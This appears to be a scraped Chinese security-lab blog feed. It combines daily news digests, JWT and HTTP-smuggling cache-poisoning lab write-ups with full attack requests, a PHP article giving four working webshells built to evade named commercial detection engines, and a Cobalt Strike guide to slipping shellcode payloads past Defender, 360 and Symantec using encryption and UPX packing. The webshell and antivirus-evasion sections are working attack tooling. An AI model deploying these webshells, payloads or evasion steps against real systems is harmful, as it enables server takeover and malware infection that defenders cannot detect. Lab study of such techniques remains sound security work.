浅析JWT安全问题
前不久研究websocket时发现port-swigger出了新的靶场,一看,发现是关于jwt安全的,刚好来总结回忆一下 JWT简介 Json web token (JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519) RFC 7519:https://datatracker.ietf.org/doc/html/rfc7519 他定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为 JSON 对象,特别适用于分布式站点的单点登录(SSO)场景 JWT与cookie/session的异同 ● JWT与cookie/session一样,都是作用于前后端认证 ● cookie/session:后端有个session,前端有个cookie,这样的基于session的认证会要求服务端不断存储用户登录信息,而随着不同客户端用户的增加,独立的服务器会逐渐无法承载更多的用户,导致其服务器的压力十分巨大,且cookie一旦被窃取还可能造成CSRF攻击 ● JWT:当我们把前后端分离开来,后端不再有session,当不再需要保存session文件,这就降低了服务端的负担,而我们就可以利用JWT这么一个基于token的鉴权认证,而基于token认证机制的应用就不需要去考虑用户在哪个服务器登录,客户端也可以将通过服务器认证后的json对象存储起来,下次访问时连同请求内容一同发送即可 JWT格式 JWT由Header、Payload、Signature组成 Header.Payload.Signature Header {"alg":"加密算法","typ":"JWT"} Payload iss: The issuer of the token sub: The subject of the token aud: The audience of the token exp: JWT expiration time defined in Unix time nbf: "Not before" time that identifies the time before which the JWT must not be accepted for processing iat: "Issued at" time, in Unix time, at which the token was issued jti: JWT ID claim provides a unique identifier for the JWT //可以自定义其它字段 Signature Signature = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),"secret") secret保存在后端,就是来解析确定验证的key JWT&JWS&JWE ● JWS,即JSON Web Signature,只是 JWT 的一种实现 ● JWE,即JSON Web Encryption,也只是 JWT 的一种实现 潜在漏洞 ● 签名未校验 ● 算法被篡改 ● 敏感信息泄露 ● 加密算法不安全 ● 伪造密钥(CVE-2018-0114) JWT安全问题 未对签名进行验证 我们前面说过,JWT存在一个Signature 签名,如若没对签名进行认证,就可能存在越权情况 靶场 Lab: JWT authentication bypass via unverified signature 解法 To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos. 我们需要把carlos删掉,而这就需要登录管理员账号,但是又没有给管理员的账号,只有一个普通用户,那我们就要想办法提升权限 先抓包 观察确定为JWT,将payload处字符base64解码得 把sub的wiener修改为administrator,重新传参 成功越权,然后就是删除用户即可 未对加密算法进行强验证 回顾一下Header的构成 {"alg":"加密算法","typ":"JWT"} 这里alg可以说明加密算法,但如果对该设置不进行强认证也会造成越权问题 我们可以把加密算法设成none来进行验证绕过 靶场 Lab: JWT authentication bypass via flawed signature verification 解法 先和上题一致,将sub内容修改为administrator,然后发现还是没能成为管理员,接着修改header的alg为none,把后续的Signature删除,因为Signature是通过alg算法生成的,既然alg都为none了,那Signature也应该为空了 成功变成管理员 然后就是正常删除用户就行 绕过弱签名密钥进行越权 Signature = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),"secret") 我们知道,签名存在一个secret密钥,这个一般都会保存在后端,别人无法查看,但是类同于弱口令,一旦这个密钥不复杂就有可能被爆破,gayhub上也有很多爆破的字典 靶场 Lab: JWT authentication bypass via weak signing key 解法 还是一样先抓包得到JWT 然后用到hashcat来进行爆破,kali自带 hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 爆破得到secret为secret1 然后前往jwt.io生成我们需要的的jwt,把sub和secret进行修改 重新传包,成功 JWT标头注入 与很多注入一样,JWT标头注入也可大致分为两种情况,一是与数据库连接,搭配sql注入使用,一是不与数据库连接,单独进行越权操作 通过jwk参数注入自签名的JWT 还记得我们说过的JWS吗 JWS,即JSON Web Signature,只是 JWT 的一种实现 我们就可以通过JWK注入JWT,形成JWS 那什么是JWK呢 JWK 英文全称为 JSON Web Key,是一个JSON对象,表示一个加密的密钥,他不同于alg属性,JWK是可选的,以下就是一个示例 {   "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",   "typ": "JWT",   "alg": "RS256",   "jwk": {       "kty": "RSA",       "e": "AQAB",       "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",       "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"   } } 在理想情况下,服务器应该是只使用公钥白名单来验证JWT签名的,但对于一些相关配置错误的服务器会用JWK参数中嵌入的任何密钥进行验证,攻击者就可以利用这一行为,用自己的RSA私钥对修改过的JWT进行签名,然后在JWK头部中嵌入对应的公钥进行越权操作 靶场 Lab: JWT authentication bypass via jwk header injection 解法 需要先安装一个插件,方便后续的操作 然后正常抓包,将sub内容修改为administrator 然后切换到JWT Editor Keys选项new一个RSA Key 我是已经生成的了,然后保存后回到Repeater选择Embedded JWK攻击 成功越权 JWT Editor 通过jku参数注入自签名的JWT 有些服务器并不会直接使用JWK头部参数来嵌入公钥,而是使用JKU(JWK Set URL)来引用一个包含了密钥的JWK Set,我们就可以借此来构造一个密钥从而实现越权操作 靶场 Lab: JWT authentication bypass via jku header injection 解法 先还是正常抓包修改sub内容,然后去到JWT Editor Keys生成一个RSA密钥,或者用上一道题目的也行,然后复制公钥 然后加上key头 {   "keys": [       ] } 保存到exploit的body中 然后将kid修改成自己生成的JWK中的kid值,将jku的值改为exploit,使其导入 然后回到点击下面的sign,选择Don’t modify header 模式,Sign 即可 成功越权 通过kid参数注入自签名的JWT 服务器可能会使用多个加密密钥来为不同类型的数据进行签名,出于这个原因,在JWT头部有时会包含一个kid参数,以避免服务器验证签名时出现错误,而在JWT规范中并没有对这个kid定义具体的结构,他仅仅是开发人员任意选择的一个字符串,可能只是一个指向数据库中的一个特定条目,甚至只是一个文件的名称也有可能 而安全问题就出现在这里,一旦这个参数受到目录遍历影响,就易被攻击者使用服务器任意文件的文件名作为验证密钥形成攻击链 靶场 Lab: JWT authentication bypass via kid header path traversal 解法 先生成一个Symmetric Key,也就是对称密钥,并将 k 的值修改为 AA==即为null 然后抓包修改kid值和sub进行目录遍历 /dev/null是linux中的“黑洞”,代表空设备文件 /dev/null文件名与AA==一致都为null,对称密钥,应该可以成功绕过 然后回到repeater点击sign选择OCT8 的密钥攻击 成功越权 其他有趣的JWT头部参数 ● cty(内容类型)如果已经找到了绕过签名验证的方法,可以尝试注入cty参数,将内容类型改为text/xml或application/x-java-serialized-object,这有可能为XXE和反序列化攻击提供新的向量。 ● x5c(X.509证书链)类似于上面讨论的jwk头部注入攻击,由于此标头参数可用于注入自签名证书,且由于 X.509 格式及其扩展的复杂性,引入这些证书时也有可能引入漏洞,可见CVE-2017-2800 和 CVE-2018-2633 JWT算法混淆 ● 即使服务器的密码是攻击者无法破解的复杂密码,但是由于JWT库的一些原生安全问题,攻击者可能会以开发者想不到的算法来伪造有效的JWT ● portswigges里也有相关靶场,目前尚未完全理解,先挖个坑,后续补上 JWT攻击的防御 我们可以看到,JWT攻击千奇百怪,但是万变不离其宗,主要的潜在漏洞为 ● 签名未校验 ● 算法被篡改 ● 敏感信息泄露 ● 加密算法不安全 ● 伪造密钥 我们也可围绕这些进行JWT攻击进行防御 ● 使用最新的 JWT 库,虽然最新版本的稳定性有待商榷,但是安全性都是较高的 ● 对 jku 标头进行严格的白名单设置 ● 确保 kid 标头不容易受到通过 header 参数进行目录遍历或 SQL 注入的攻击 ● 始终为颁发的任何令牌设置一个到期日 ● 尽可能避免通过URL参数发送令牌 ● 提供aud声明(或类似内容),以指定令牌的预期接收者,防止其应用在不同网站 ● 让颁发服务器能够撤销令牌
网络安全日报 2022年08月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、F5 通过季度安全补丁修复了 21 个漏洞 https://www.securityweek.com/f5-fixes-21-vulnerabilities-quarterly-security-patches 2、Slack 在发现凭据泄露漏洞后强制重置了一部分用户密码 https://www.securityweek.com/slack-forces-password-resets-after-discovering-software-flaw 3、红绿灯协议 (TLP) 发布2.0版本 https://www.securityweek.com/traffic-light-protocol-20-brings-wording-improvements-label-changes 4、大规模的网络攻击袭击了德国工商会 (DIHK) 的网站 https://securityaffairs.co/wordpress/134121/hacking/dihk-cyberattack.html 5、GwisinLocker 勒索软件专门针对韩国 https://securityaffairs.co/wordpress/134105/cyber-crime/gwisinlocker-ransowmare-south-korea.html 6、Twitter 证实最近540 万个账户数据泄露是由于利用了0day漏洞造成的 https://securityaffairs.co/wordpress/134087/data-breach/twitter-zero-day-data-leak.html 7、美国 CISA 和澳大利亚 ACSC 发布 2021 年顶级恶意软件列表 https://www.cisa.gov/uscert/ncas/alerts/aa22-216a 8、研究人员发现劫持网络带宽而非算力的“挖矿”程序 https://blog.aquasec.com/cryptojacking-cloud-network-bandwidth 9、研究人员揭露“C2即服务(C2aaS)”的网络犯罪活动 https://securityaffairs.co/wordpress/134073/hacking/dark-utilities-c2-as-a-service.html 10、Mirai新变种RapperBot利用SSH暴力破解入侵Linux服务器 https://thehackernews.com/2022/08/new-iot-rapperbot-malware-targeting.html
利用PHP的特性做免杀Webshell
0x01 前言 最近很多家厂商都陆续开放了自己的Webshell检测引擎,并且公开接口,邀请众安全研究员参加尝试bypass检测引擎,并且给予奖励,我也参加了几场类似的活动,有ASRC的伏魔计划,也有TSRC的猎刃计划,还有最近正在进行的长亭的牧云(Aka.关山)Webshell检测引擎,如果你都参加或者关注了这三个比赛,你会发现他们都提到了以下几个技术: 1、词法分析 2、污点追踪 3、恶意代码检测 这些新技术我们后面的章节中,我们先讲一下传统的Webshell检测机制,再对照着最新的Webshell检测技术来说明一下如何在新技术下做免杀Webshell(本文所有Webshell基于PHP语言) 0x02 传统Webshell检测 传统的Webshell检测技术主要依赖于字符串的正则特征,在面对于已知的样本可以做到高准确率检测,在长时间的样本收取下,也可以做到满足日常运维中的Webshell检测,举几个经典的Webshell样本 1、经典一句话Webshell <?php eval($_GET['cmd']);?> 2、反序列化Webshell <?php Class H3{  function __destruct(){    eval($this->c); } } $a= new H3; $a->c = $_GET['cmd']; 3、无字母Webshell <?php $_ = 97; $__ = 97 + 18; //s $___ = $__ + 6; //y $____ = $__ + 1; //t $_____ = $_ + 4; //e $______ = $__ - 6; //m $res = chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______); $_= $_POST['cmd']; $res($_); 但是对于当下的技术发展,黑客们可以更加精心的编写Webshell来"骗"过传统的Webshell检测机制,而且Webshell易变形,在面对0day样本的时候,传统Webshell检测就会效果欠佳,也就需要更加全面的手段来与其抗衡 0x03 新型Webshell检测 对于现如今的情况下,传统的Webshell检测对于0day样本的检测效率已经不是特别好了,所以这时候就需要一种"主动"的检测方式,能够让引擎主动去理解脚本、分析样本,发现样本中的恶意行为,而不是依靠人工来添加Webshell特征。 1、污点追踪 举个例子,对于一个Webshell来说,如果要进行任意命令执行,就一定要获取外界数据,对于PHP来说也就是$_GET、$_POST来接受数据,而要想任意命令执行,这些接收到的数据也就一定要最终传递到eval、system等函数中,而污点追踪技术就是利用这一点,如果样本中的外界变量通过不断传递,最终进入到危险函数中,那基本上就可以断定为Webshell,将外界变量视为污点源,危险函数视为污点汇聚点,跟踪污点传播过程,判断污点变量是否被洗白,最终是否进入污点汇聚点,画一个流程图如下: 2、词法分析 检测引擎会将各种脚本语言进行词法语法分析,然后构建控制流图和数据流图,并在图上跟踪外界污点变量的传递,使用外界变量是WebShell非常重要的特征,如果发现外界变量最终进入了命令执行函数,就可以判断为Webshell。 引擎可以将传统的条件、循环、函数、对象的静态分析,目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的分析,大大的强化的未知样本的检测成功率。 3、加密还原 在此之前我们的Webshell常用的绕过检测的方法就是通过加密来绕过,例子如下: <?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$____; $___(base64_decode($_[_])); // ASSERT($_POST[_]); 该样本利用了混淆和加密两种技术,但是现如今的检测引擎都具备有对市面上的大部分PHP加密混淆进行“脱壳”和利用动态分析PHP执行器进行虚拟执行,将混淆加密的代码进行动态还原,解密后混淆和加密相当于明文传输,再利用污点追踪技术和动静态结合分析即可大大的提高检测率,并且能够有效减小误报率,同时也让这种在之前百试不爽的技巧无法使用。 0x04 如果Bypass掉新型检测引擎 我们要知道原理就可以想办法如何“蒙骗“住检测引擎,如果大家研究过,或者说亲身参与到了bypass挑战赛中,就能感受到无论是动静态还是什么技术,最后都是根据污点追踪法则来进行检测,污点追踪的流程在上一节提到了,目前我们有两个方法: 1、利用PHP中其他的命令执行的方法,让检测引擎识别不出这是污点汇集点 2、打断污点追踪的过程,让污点汇集点不落地 拿出一个样本我们来结合代码说明(以下样本分别bypass的引擎会标注出来,截止笔者写这篇的文章的时候只有牧云webshell检测引擎正在开启) 样本1 <?php //ASRC伏魔引擎bypass $result = array_diff(["s","a","b","ys","te","m"],["a","b"]); $a = join($result); array_map($a,(array)$_REQUEST['1']); ?> 讲一下原理,首先我们需要利用技巧(PHP本身的特性),来阻断污点追踪的过程,我在fuzz测试的时候发现了array_map()这个函数存在callback并且能够逃避检测 那么首先的能够bypass的污点汇集点已经有了,接下里来就是寻找其他函数来将变量"洗白",我选择了array_diff() 这样就可以利用该函数拼凑出一个system函数,再利用array_map()的callback来做命令执行 结果如下: 这样就完成了最简单的一次bypass 样本2 <?php //bypass 牧云 文件名需要设置为system $filename=substr(__FILE__,-10,6); $command=$_POST[1]; $filename($command); __FILE__是PHP的一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名,我们利用substr()函数逆着截取,就能获得system再利用变量做函数的方式,打断了污点追踪的过程,进行命令执行,也可以成功bypass掉牧云引擎。 结果如下: 牧云引擎检测结果如下: 样本3 <?php //bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎 class A{    public function __construct(){}    public function __wakeup(){        $b = $_GET[1];        $result = array_diff(["s","a","b","ys","te","m"],["a","b"]);        $a = join($result);        Closure::fromCallable($a)->__invoke($_REQUEST[2]);   } } @unserialize('O:1:"A":1:{s:10:" A comment";N;}'); 这个套了一层反序列化,隐藏污点汇集点的方法与样本一相同,利用数组差级构造system后利用原生类Closure的fromCallable函数 进行命令执行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);这种方式会被check,索性换成动态控制,这样也能打断污点追踪) 结果如下: 样本4 <?php // dom and xml needed, install php-xml and leave php.ini as default. // Author:LemonPrefect $cmd = $_GET[3]; $_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']"; $_REQUEST[2] = ["php", "http://php.net/xpath"]; $xml = <<< XML <?xml version="1.0" encoding="UTF-8"?> <books>    <book>        <title>We are the champions</title>        <author>LemonPrefect</author>        <author>H3h3QAQ</author>    </book> </books> XML; $doc = new DOMDocument; $doc->loadXML($xml); $clazz = (new ReflectionClass("DOMXPath")); $instance = $clazz->newInstance($doc); $clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]); $clazz->getMethod("registerPHPFunctions")->invoke($instance); $clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]); 该样本需要一些条件,前提是开启了php-xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE 结果如下: 0x05 总结 在构造Webshell的时候,我们如果知道Webshell检测引擎原理,就知道如何去bypass了,对于怎样过掉Webshell引擎这件事,需要开动脑筋多去找一下PHP的文档,去找一下原生类和其他能够中断污点追踪的方法,让引擎跟踪不到你的行为,而且尽量不要让敏感字符串出现在代码本体,因为有的引擎还是有字符串的正则特征检测,同时也要学会分析,分析自己的Webshell到底哪里出的问题,从而找到更好的方法去替换。
网络安全日报 2022年08月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现影响数十万台 DrayTek Vigor 路由器的严重漏洞 https://www.securityweek.com/smbs-exposed-attacks-critical-vulnerability-draytek-vigor-routers2、思科小型企业路由器发布更新修补严重漏洞 https://www.securityweek.com/critical-vulnerabilities-allow-hacking-cisco-small-business-routers3、印度超过 2.8 亿条记录含 UAN、银行帐号、收入和 PF在网上泄露 https://ciso.economictimes.indiatimes.com/news/breaking-over-280m-records-including-uan-bank-account-info-and-pii-leaked-online/933337544、总部位于阿联酋的零售连锁 Spinneys 遭黑客攻击数据泄露 https://securereading.com/uae-spinneys-customer-data-leak/5、全新的 Woody RAT 恶意软件针对俄罗斯实体 https://securityaffairs.co/wordpress/134014/intelligence/woody-rat-targets-russia-orgs.html6、研究人员发现Go语言编写的LOLI Stealer窃密木马 https://blog.cyble.com/2022/08/03/loli-stealer-golang-based-infostealer-spotted-in-the-wild/7、暗网研究表明 87% 的勒索软件利用恶意宏 https://www.infosecurity-magazine.com/news/87-ransomware-brands-exploit-macros/8、微软宣布新的外部攻击面审计工具 https://www.bleepingcomputer.com/news/microsoft/microsoft-announces-new-external-attack-surface-audit-tool/9、VMware 敦促管理员立即修补关键的身份验证绕过漏洞 https://www.bleepingcomputer.com/news/security/vmware-urges-admins-to-patch-critical-auth-bypass-bug-immediately/10、FEMA 警告紧急警报系统可能被黑客入侵以传输虚假信息 https://edition.cnn.com/2022/08/03/politics/fema-emergency-alert-software-warning/index.html
Http-Sumggling缓存漏洞分析
当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看。 在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。 什么是Web缓存 WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。 缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有: 后端程序缓存 服务器缓存 浏览器缓存 缓存服务器 CDN缓存 最常见的无疑就是CDN及其类似的缓存服务器。 而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念。 什么是web缓存漏洞 如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷。 这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了。 如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存投毒。 Http Sumggling HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的。 一般可分为以下几种: CL: Content-Length TE: Transfer-Encoding CL不为0的GET请求 CL-CL CL-TE TE-CL TE-TE 在mengchen@知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述。 https://paper.seebug.org/1048/#35-te-teHttp Sumggling 缓存漏洞 靶场 依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场。 解法 判断是否存在走私,确定为CL-TE。 POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 第一次请求为: POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 第二次请求为下半段: GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 可以看到存在302跳转。 然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js进行攻击。 可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存攻击。 先点击send post包 POST / HTTP/1.1 Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 195 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/ Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 访问到第一部分: 然后在/resources/js/tracking.js send包: 可以发现成功攻击,缓存键为miss,那下一个包应该就可以成功转接到exploit上,我们试试。 对原界面进行抓包,多抓几次。 发现host成功变为我们的exploit。 后言 漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志。
网络安全日报 2022年08月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、德国半导体制造商赛米控遭勒索软件攻击,攻击者称窃取了2TB资料 https://www.securityweek.com/power-electronics-manufacturer-semikron-targeted-ransomware-attack 2、NOMAD跨链桥遭黑客攻击损失总额接近 2 亿美元,几乎被清空 https://www.securityweek.com/nearly-200-million-stolen-cryptocurrency-bridge-nomad 3、后量子候选算法-SIKE 被轻松破解 https://thehackernews.com/2022/08/single-core-cpu-cracked-post-quantum.html 4、VirusTotal分析显示大多数恶意软件通过图标模拟合法应用诱骗受害者 https://thehackernews.com/2022/08/virustotal-reveals-most-impersonated.html 5、VMWare 敦促用户修补关键身份验证绕过漏洞 https://threatpost.com/vmware-patch-critical-bug/180346/ 6、最新的 Jenkins 插件公告中包含未修补的 XSS、CSRF 漏洞 https://portswigger.net/daily-swig/jenkins-security-unpatched-xss-csrf-bugs-included-in-latest-plugin-advisory 7、Solana钱包遭大规模盗币事件 https://techcrunch.com/2022/08/03/solana-wallet-hack/ 8、数千个GitHub存储库被Fork后其副本被更改为恶意软件 https://www.bleepingcomputer.com/news/security/35-000-code-repos-not-hacked-but-clones-flood-github-to-serve-malware/ 9、研究人员警告针对企业用户的大规模AitM攻击 https://thehackernews.com/2022/08/researchers-warns-of-large-scale-aitm.html 10、应用EvolutionCMS、FUDForum和GitBucket中发现XSS漏洞 https://portswigger.net/daily-swig/trio-of-xss-bugs-in-open-source-web-apps-could-lead-to-complete-system-compromise
网络安全日报 2022年08月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VMware为身份验证绕过安全漏洞发布紧急补丁 https://www.securityweek.com/vmware-ships-urgent-patch-authentication-bypass-security-hole 2、谷歌修补严重的安卓漏洞,允许通过蓝牙远程执行代码 https://www.securityweek.com/google-patches-critical-android-flaw-allowing-remote-code-execution-bluetooth 3、欧洲导弹制造商 MBDA 否认被黑客入侵系统 https://www.securityweek.com/european-missile-maker-mbda-denies-hackers-breached-systems 4、Gootkit AaaS 恶意软件仍然活跃并使用更新的策略 https://securityaffairs.co/wordpress/133918/malware/gootkit-is-still-active.html 5、新的"ParseThru"参数走私漏洞影响基于 Golang 的应用程序 https://thehackernews.com/2022/08/new-parsethru-parameter-smuggling.html 6、研究人员发现利用浏览器书签同步功能作为隐蔽数据泄露通道的方法 https://www.freebuf.com/news/340801.html 7、黑客窃取了访问 140000 个Wiseasy支付终端的密码 https://techcrunch.com/2022/08/01/wiseasy-android-payment-passwords/ 8、Emotet 下载器文档使用 Regsvr32 执行 https://securityboulevard.com/2022/07/emotet-downloader-document-uses-regsvr32-for-execution/ 9、数以百万计的 Arris 路由器易受路径遍历攻击 https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/08/millions-of-arris-routers-are-vulnerable-to-path-traversal-attacks/ 10、美国众议院通过了《勒索软件法案》 https://www.secrss.com/articles/45306
红蓝对抗经验分享:CS免杀姿势
前言 红队在HVV中一般使用钓鱼实现突破边界,蓝队通过钓鱼实现溯源反制,但是都离不开一个好的免杀马,这里分享一下自己的免杀过程,过火绒、360杀毒、windows defender以及赛门铁克等主流杀软都没问题。 杀软工作原理 杀软的查杀方式有多种,比如特征识别,是基于各个厂商收集的病毒样本,依据病毒样本提取的病毒特征,所以杀软的能力在一定程度上也取决于病毒库的大小,这种基于特征识别一般是基于静态。启发式的工作原理基本上可以定义为动态查杀或者是机器学习方法的一种查杀手段,会依据可能执行程序或者关注应用系统重要区域行为而做出的查杀行为。 免杀手段 修改特征码,可以根据污点检测的方式定位到触发杀软规则的病毒样本特征,修改明显的特征在一定程度上是可以实现免杀的。 花指令免杀,在程序 shellcode 或特征代码区域增添垃圾指令,增加的垃圾指令不会影响文件执行,在动态查杀或者文件hash对比是校验会不一致。 加壳,比如upx加壳等,一般文件落地后对比哈希值也可绕过杀软。 二次编译,一般用于对shellcode进行二次编译bypass杀软。 poweshell免杀,但是一般防护软件或者系统本身正常调用powershell应用程序的时候都会产生告警,一般的安全设备是过不了的,需要在命令上使用手段绕过安全设备监测。 免杀 CS生成payload 添加监听器,生成payload 下载go-strip.exe,混淆二进制go编译信息 下载地址 https://cdn.githubjs.cf/boy-hack/go-strip/releases/download/v3.0/go-strip_0.3.4_windows_amd64.zip 运行脚本bypass go run main.go 核心内容就是加密方式 shellcode二层加密。 这里没有直接放源码,因为担心样本被打标签,这里推荐几个项目,这里的话尽量使用go不建议python https://github.com/TideSec/BypassAntiVirushttps://github.com/admin360bug/bypasshttps://github.com/hack2fun/BypassAV/blob/master/bypass.cna这里我修改了生成的exe。安装火绒,查杀 CS上线 加壳 另外再加壳测试。地址 https://upx.en.softonic.com/简单的压缩壳 upx.exe -f Go_bypass.exe 加壳后生辰的exe文件大小为406KB 可以看到加壳之前的文件大小为1011kb 修改加壳后的文件名为upx_Go_bypass方便确认上线状态 成功上线,继续查看加壳后的免杀效果 此时火绒对于有加壳前和加壳后的文件都未报毒 虽然加壳前的报毒了,但是加壳后的未报毒。 赛门铁克也未报毒,其它杀软不放图了。但是需要注意的是别使用云沙箱检测。 总结 多测试总会有新发现,实践起来相对稍微容易一点儿,不过需要注意免杀之后的效果是最重要的。
网络安全日报 2022年08月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、ALPHV声称入侵了欧洲燃气管道公司Creos Luxembourg SA https://securityaffairs.co/wordpress/133899/cyber-crime/alphv-blackcat-ransomware-creos-luxembourg.html 2、研究人员发现近 3,200 个移动应用程序泄露 Twitter API 密钥 https://thehackernews.com/2022/08/researchers-discover-nearly-3200-mobile.html 3、CompleteFTP路径遍历漏洞允许攻击者删除服务器文件 https://portswigger.net/daily-swig/completeftp-path-traversal-flaw-allowed-attackers-to-delete-server-files 4、Google Cloud和Google Play漏洞可能导致账户劫持 https://portswigger.net/daily-swig/xss-vulnerabilities-in-google-cloud-google-play-could-lead-to-account-hijacks 5、Gootkit加载器以新的运营策略重新出现 https://securityaffairs.co/wordpress/133881/data-breach/mbda-alleged-data-breach.html 6、由上万个虚假投资网站瞄准欧洲用户 https://www.bleepingcomputer.com/news/security/huge-network-of-11-000-fake-investment-sites-targets-europe/ 7、Google Play商店现17款DawDropper银行恶意软件 https://www.freebuf.com/news/340693.html 8、西班牙一核安全系统遭黑客攻击,部分地区服务中断数月 https://www.secrss.com/articles/45215 9、CertiK近期发布了《Web3 安全季度报告》攻击数量创历史之最 https://www.freebuf.com/articles/340394.html 10、美国国会议员披露美国司法系统遭到网络攻击,密封文件面临风险 https://www.infosecurity-magazine.com/news/congress-us-court-records-breach/
网络安全日报 2022年08月01日
